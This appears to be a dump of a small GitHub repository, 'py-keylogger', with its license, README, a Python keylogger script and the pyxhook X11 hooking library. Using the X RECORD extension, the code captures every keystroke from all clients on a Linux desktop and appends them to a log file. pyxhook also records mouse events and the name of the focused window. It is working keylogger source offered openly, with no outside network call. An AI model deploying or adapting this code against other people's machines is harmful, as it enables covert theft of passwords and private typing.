├── License.md ├── README.md ├── keylogger.py └── pyxhook.py /License.md: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2016 Aman Deep 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # py-keylogger 2 | A Simple Keylogger for Linux written in Python using the pyxhook module which is an implementation of pyhook module (Windows OS). 3 | 4 |

Requires:

5 | python-xlib 6 | 7 |

Installation & Tutorial:

Visit this LINK 8 | -------------------------------------------------------------------------------- /keylogger.py: -------------------------------------------------------------------------------- 1 | """ 2 | Copyright (c) 2015, Aman Deep 3 | All rights reserved. 4 | 5 | 6 | A simple keylogger witten in python for linux platform 7 | All keystrokes are recorded in a log file. 8 | 9 | The program terminates when grave key(`) is pressed 10 | 11 | grave key is found below Esc key 12 | """ 13 | 14 | import pyxhook 15 | #change this to your log file's path 16 | log_file='/home/aman/Desktop/file.log' 17 | 18 | #this function is called everytime a key is pressed. 19 | def OnKeyPress(event): 20 | fob=open(log_file,'a') 21 | fob.write(event.Key) 22 | fob.write('\n') 23 | 24 | if event.Ascii==96: #96 is the ascii value of the grave key (`) 25 | fob.close() 26 | new_hook.cancel() 27 | #instantiate HookManager class 28 | new_hook=pyxhook.HookManager() 29 | #listen to all keystrokes 30 | new_hook.KeyDown=OnKeyPress 31 | #hook the keyboard 32 | new_hook.HookKeyboard() 33 | #start the session 34 | new_hook.start() 35 | -------------------------------------------------------------------------------- /pyxhook.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # 3 | # pyxhook -- an extension to emulate some of the PyHook library on linux. 4 | # 5 | # Copyright (C) 2008 Tim Alexander 6 | # 7 | # This program is free software; you can redistribute it and/or modify 8 | # it under the terms of the GNU General Public License as published by 9 | # the Free Software Foundation; either version 2 of the License, or 10 | # (at your option) any later version. 11 | # 12 | # This program is distributed in the hope that it will be useful, 13 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 14 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 15 | # GNU General Public License for more details. 16 | # 17 | # You should have received a copy of the GNU General Public License 18 | # along with this program; if not, write to the Free Software 19 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA 20 | # 21 | # Thanks to Alex Badea for writing the Record 22 | # demo for the xlib libraries. It helped me immensely working with these 23 | # in this library. 24 | # 25 | # Thanks to the python-xlib team. This wouldn't have been possible without 26 | # your code. 27 | # 28 | # This requires: 29 | # at least python-xlib 1.4 30 | # xwindows must have the "record" extension present, and active. 31 | # 32 | # This file has now been somewhat extensively modified by 33 | # Daniel Folkinshteyn 34 | # So if there are any bugs, they are probably my fault. :) 35 | 36 | import sys 37 | import os 38 | import re 39 | import time 40 | import threading 41 | 42 | from Xlib import X, XK, display, error 43 | from Xlib.ext import record 44 | from Xlib.protocol import rq 45 | 46 | ####################################################################### 47 | ########################START CLASS DEF################################ 48 | ####################################################################### 49 | 50 | class HookManager(threading.Thread): 51 | """This is the main class. Instantiate it, and you can hand it KeyDown and KeyUp (functions in your own code) which execute to parse the pyxhookkeyevent class that is returned. 52 | 53 | This simply takes these two values for now: 54 | KeyDown = The function to execute when a key is pressed, if it returns anything. It hands the function an argument that is the pyxhookkeyevent class. 55 | KeyUp = The function to execute when a key is released, if it returns anything. It hands the function an argument that is the pyxhookkeyevent class. 56 | """ 57 | 58 | def __init__(self): 59 | threading.Thread.__init__(self) 60 | self.finished = threading.Event() 61 | 62 | # Give these some initial values 63 | self.mouse_position_x = 0 64 | self.mouse_position_y = 0 65 | self.ison = {"shift":False, "caps":False} 66 | 67 | # Compile our regex statements. 68 | self.isshift = re.compile('^Shift') 69 | self.iscaps = re.compile('^Caps_Lock') 70 | self.shiftablechar = re.compile('^[a-z0-9]$|^minus$|^equal$|^bracketleft$|^bracketright$|^semicolon$|^backslash$|^apostrophe$|^comma$|^period$|^slash$|^grave$') 71 | self.logrelease = re.compile('.*') 72 | self.isspace = re.compile('^space$') 73 | 74 | # Assign default function actions (do nothing). 75 | self.KeyDown = lambda x: True 76 | self.KeyUp = lambda x: True 77 | self.MouseAllButtonsDown = lambda x: True 78 | self.MouseAllButtonsUp = lambda x: True 79 | 80 | self.contextEventMask = [X.KeyPress,X.MotionNotify] 81 | 82 | # Hook to our display. 83 | self.local_dpy = display.Display() 84 | self.record_dpy = display.Display() 85 | 86 | def run(self): 87 | # Check if the extension is present 88 | if not self.record_dpy.has_extension("RECORD"): 89 | print "RECORD extension not found" 90 | sys.exit(1) 91 | r = self.record_dpy.record_get_version(0, 0) 92 | print "RECORD extension version %d.%d" % (r.major_version, r.minor_version) 93 | 94 | # Create a recording context; we only want key and mouse events 95 | self.ctx = self.record_dpy.record_create_context( 96 | 0, 97 | [record.AllClients], 98 | [{ 99 | 'core_requests': (0, 0), 100 | 'core_replies': (0, 0), 101 | 'ext_requests': (0, 0, 0, 0), 102 | 'ext_replies': (0, 0, 0, 0), 103 | 'delivered_events': (0, 0), 104 | 'device_events': tuple(self.contextEventMask), #(X.KeyPress, X.ButtonPress), 105 | 'errors': (0, 0), 106 | 'client_started': False, 107 | 'client_died': False, 108 | }]) 109 | 110 | # Enable the context; this only returns after a call to record_disable_context, 111 | # while calling the callback function in the meantime 112 | self.record_dpy.record_enable_context(self.ctx, self.processevents) 113 | # Finally free the context 114 | self.record_dpy.record_free_context(self.ctx) 115 | 116 | def cancel(self): 117 | self.finished.set() 118 | self.local_dpy.record_disable_context(self.ctx) 119 | self.local_dpy.flush() 120 | 121 | def printevent(self, event): 122 | print event 123 | 124 | def HookKeyboard(self): 125 | pass 126 | # We don't need to do anything here anymore, since the default mask 127 | # is now set to contain X.KeyPress 128 | #self.contextEventMask[0] = X.KeyPress 129 | 130 | def HookMouse(self): 131 | pass 132 | # We don't need to do anything here anymore, since the default mask 133 | # is now set to contain X.MotionNotify 134 | 135 | # need mouse motion to track pointer position, since ButtonPress events 136 | # don't carry that info. 137 | #self.contextEventMask[1] = X.MotionNotify 138 | 139 | def processevents(self, reply): 140 | if reply.category != record.FromServer: 141 | return 142 | if reply.client_swapped: 143 | print "* received swapped protocol data, cowardly ignored" 144 | return 145 | if not len(reply.data) or ord(reply.data[0]) < 2: 146 | # not an event 147 | return 148 | data = reply.data 149 | while len(data): 150 | event, data = rq.EventField(None).parse_binary_value(data, self.record_dpy.display, None, None) 151 | if event.type == X.KeyPress: 152 | hookevent = self.keypressevent(event) 153 | self.KeyDown(hookevent) 154 | elif event.type == X.KeyRelease: 155 | hookevent = self.keyreleaseevent(event) 156 | self.KeyUp(hookevent) 157 | elif event.type == X.ButtonPress: 158 | hookevent = self.buttonpressevent(event) 159 | self.MouseAllButtonsDown(hookevent) 160 | elif event.type == X.ButtonRelease: 161 | hookevent = self.buttonreleaseevent(event) 162 | self.MouseAllButtonsUp(hookevent) 163 | elif event.type == X.MotionNotify: 164 | # use mouse moves to record mouse position, since press and release events 165 | # do not give mouse position info (event.root_x and event.root_y have 166 | # bogus info). 167 | self.mousemoveevent(event) 168 | 169 | #print "processing events...", event.type 170 | 171 | def keypressevent(self, event): 172 | matchto = self.lookup_keysym(self.local_dpy.keycode_to_keysym(event.detail, 0)) 173 | if self.shiftablechar.match(self.lookup_keysym(self.local_dpy.keycode_to_keysym(event.detail, 0))): ## This is a character that can be typed. 174 | if self.ison["shift"] == False: 175 | keysym = self.local_dpy.keycode_to_keysym(event.detail, 0) 176 | return self.makekeyhookevent(keysym, event) 177 | else: 178 | keysym = self.local_dpy.keycode_to_keysym(event.detail, 1) 179 | return self.makekeyhookevent(keysym, event) 180 | else: ## Not a typable character. 181 | keysym = self.local_dpy.keycode_to_keysym(event.detail, 0) 182 | if self.isshift.match(matchto): 183 | self.ison["shift"] = self.ison["shift"] + 1 184 | elif self.iscaps.match(matchto): 185 | if self.ison["caps"] == False: 186 | self.ison["shift"] = self.ison["shift"] + 1 187 | self.ison["caps"] = True 188 | if self.ison["caps"] == True: 189 | self.ison["shift"] = self.ison["shift"] - 1 190 | self.ison["caps"] = False 191 | return self.makekeyhookevent(keysym, event) 192 | 193 | def keyreleaseevent(self, event): 194 | if self.shiftablechar.match(self.lookup_keysym(self.local_dpy.keycode_to_keysym(event.detail, 0))): 195 | if self.ison["shift"] == False: 196 | keysym = self.local_dpy.keycode_to_keysym(event.detail, 0) 197 | else: 198 | keysym = self.local_dpy.keycode_to_keysym(event.detail, 1) 199 | else: 200 | keysym = self.local_dpy.keycode_to_keysym(event.detail, 0) 201 | matchto = self.lookup_keysym(keysym) 202 | if self.isshift.match(matchto): 203 | self.ison["shift"] = self.ison["shift"] - 1 204 | return self.makekeyhookevent(keysym, event) 205 | 206 | def buttonpressevent(self, event): 207 | #self.clickx = self.rootx 208 | #self.clicky = self.rooty 209 | return self.makemousehookevent(event) 210 | 211 | def buttonreleaseevent(self, event): 212 | #if (self.clickx == self.rootx) and (self.clicky == self.rooty): 213 | ##print "ButtonClick " + str(event.detail) + " x=" + str(self.rootx) + " y=" + str(self.rooty) 214 | #if (event.detail == 1) or (event.detail == 2) or (event.detail == 3): 215 | #self.captureclick() 216 | #else: 217 | #pass 218 | 219 | return self.makemousehookevent(event) 220 | 221 | # sys.stdout.write("ButtonDown " + str(event.detail) + " x=" + str(self.clickx) + " y=" + str(self.clicky) + "\n") 222 | # sys.stdout.write("ButtonUp " + str(event.detail) + " x=" + str(self.rootx) + " y=" + str(self.rooty) + "\n") 223 | #sys.stdout.flush() 224 | 225 | def mousemoveevent(self, event): 226 | self.mouse_position_x = event.root_x 227 | self.mouse_position_y = event.root_y 228 | 229 | # need the following because XK.keysym_to_string() only does printable chars 230 | # rather than being the correct inverse of XK.string_to_keysym() 231 | def lookup_keysym(self, keysym): 232 | for name in dir(XK): 233 | if name.startswith("XK_") and getattr(XK, name) == keysym: 234 | return name.lstrip("XK_") 235 | return "[%d]" % keysym 236 | 237 | def asciivalue(self, keysym): 238 | asciinum = XK.string_to_keysym(self.lookup_keysym(keysym)) 239 | if asciinum < 256: 240 | return asciinum 241 | else: 242 | return 0 243 | 244 | def makekeyhookevent(self, keysym, event): 245 | storewm = self.xwindowinfo() 246 | if event.type == X.KeyPress: 247 | MessageName = "key down" 248 | elif event.type == X.KeyRelease: 249 | MessageName = "key up" 250 | return pyxhookkeyevent(storewm["handle"], storewm["name"], storewm["class"], self.lookup_keysym(keysym), self.asciivalue(keysym), False, event.detail, MessageName) 251 | 252 | def makemousehookevent(self, event): 253 | storewm = self.xwindowinfo() 254 | if event.detail == 1: 255 | MessageName = "mouse left " 256 | elif event.detail == 3: 257 | MessageName = "mouse right " 258 | elif event.detail == 2: 259 | MessageName = "mouse middle " 260 | elif event.detail == 5: 261 | MessageName = "mouse wheel down " 262 | elif event.detail == 4: 263 | MessageName = "mouse wheel up " 264 | else: 265 | MessageName = "mouse " + str(event.detail) + " " 266 | 267 | if event.type == X.ButtonPress: 268 | MessageName = MessageName + "down" 269 | elif event.type == X.ButtonRelease: 270 | MessageName = MessageName + "up" 271 | return pyxhookmouseevent(storewm["handle"], storewm["name"], storewm["class"], (self.mouse_position_x, self.mouse_position_y), MessageName) 272 | 273 | def xwindowinfo(self): 274 | try: 275 | windowvar = self.local_dpy.get_input_focus().focus 276 | wmname = windowvar.get_wm_name() 277 | wmclass = windowvar.get_wm_class() 278 | wmhandle = str(windowvar)[20:30] 279 | except: 280 | ## This is to keep things running smoothly. It almost never happens, but still... 281 | return {"name":None, "class":None, "handle":None} 282 | if (wmname == None) and (wmclass == None): 283 | try: 284 | windowvar = windowvar.query_tree().parent 285 | wmname = windowvar.get_wm_name() 286 | wmclass = windowvar.get_wm_class() 287 | wmhandle = str(windowvar)[20:30] 288 | except: 289 | ## This is to keep things running smoothly. It almost never happens, but still... 290 | return {"name":None, "class":None, "handle":None} 291 | if wmclass == None: 292 | return {"name":wmname, "class":wmclass, "handle":wmhandle} 293 | else: 294 | return {"name":wmname, "class":wmclass[0], "handle":wmhandle} 295 | 296 | class pyxhookkeyevent: 297 | """This is the class that is returned with each key event.f 298 | It simply creates the variables below in the class. 299 | 300 | Window = The handle of the window. 301 | WindowName = The name of the window. 302 | WindowProcName = The backend process for the window. 303 | Key = The key pressed, shifted to the correct caps value. 304 | Ascii = An ascii representation of the key. It returns 0 if the ascii value is not between 31 and 256. 305 | KeyID = This is just False for now. Under windows, it is the Virtual Key Code, but that's a windows-only thing. 306 | ScanCode = Please don't use this. It differs for pretty much every type of keyboard. X11 abstracts this information anyway. 307 | MessageName = "key down", "key up". 308 | """ 309 | 310 | def __init__(self, Window, WindowName, WindowProcName, Key, Ascii, KeyID, ScanCode, MessageName): 311 | self.Window = Window 312 | self.WindowName = WindowName 313 | self.WindowProcName = WindowProcName 314 | self.Key = Key 315 | self.Ascii = Ascii 316 | self.KeyID = KeyID 317 | self.ScanCode = ScanCode 318 | self.MessageName = MessageName 319 | 320 | def __str__(self): 321 | return "Window Handle: " + str(self.Window) + "\nWindow Name: " + str(self.WindowName) + "\nWindow's Process Name: " + str(self.WindowProcName) + "\nKey Pressed: " + str(self.Key) + "\nAscii Value: " + str(self.Ascii) + "\nKeyID: " + str(self.KeyID) + "\nScanCode: " + str(self.ScanCode) + "\nMessageName: " + str(self.MessageName) + "\n" 322 | 323 | class pyxhookmouseevent: 324 | """This is the class that is returned with each key event.f 325 | It simply creates the variables below in the class. 326 | 327 | Window = The handle of the window. 328 | WindowName = The name of the window. 329 | WindowProcName = The backend process for the window. 330 | Position = 2-tuple (x,y) coordinates of the mouse click 331 | MessageName = "mouse left|right|middle down", "mouse left|right|middle up". 332 | """ 333 | 334 | def __init__(self, Window, WindowName, WindowProcName, Position, MessageName): 335 | self.Window = Window 336 | self.WindowName = WindowName 337 | self.WindowProcName = WindowProcName 338 | self.Position = Position 339 | self.MessageName = MessageName 340 | 341 | def __str__(self): 342 | return "Window Handle: " + str(self.Window) + "\nWindow Name: " + str(self.WindowName) + "\nWindow's Process Name: " + str(self.WindowProcName) + "\nPosition: " + str(self.Position) + "\nMessageName: " + str(self.MessageName) + "\n" 343 | 344 | ####################################################################### 345 | #########################END CLASS DEF################################# 346 | ####################################################################### 347 | 348 | if __name__ == '__main__': 349 | hm = HookManager() 350 | hm.HookKeyboard() 351 | hm.HookMouse() 352 | hm.KeyDown = hm.printevent 353 | hm.KeyUp = hm.printevent 354 | hm.MouseAllButtonsDown = hm.printevent 355 | hm.MouseAllButtonsUp = hm.printevent 356 | hm.start() 357 | time.sleep(10) 358 | hm.cancel() 359 | --------------------------------------------------------------------------------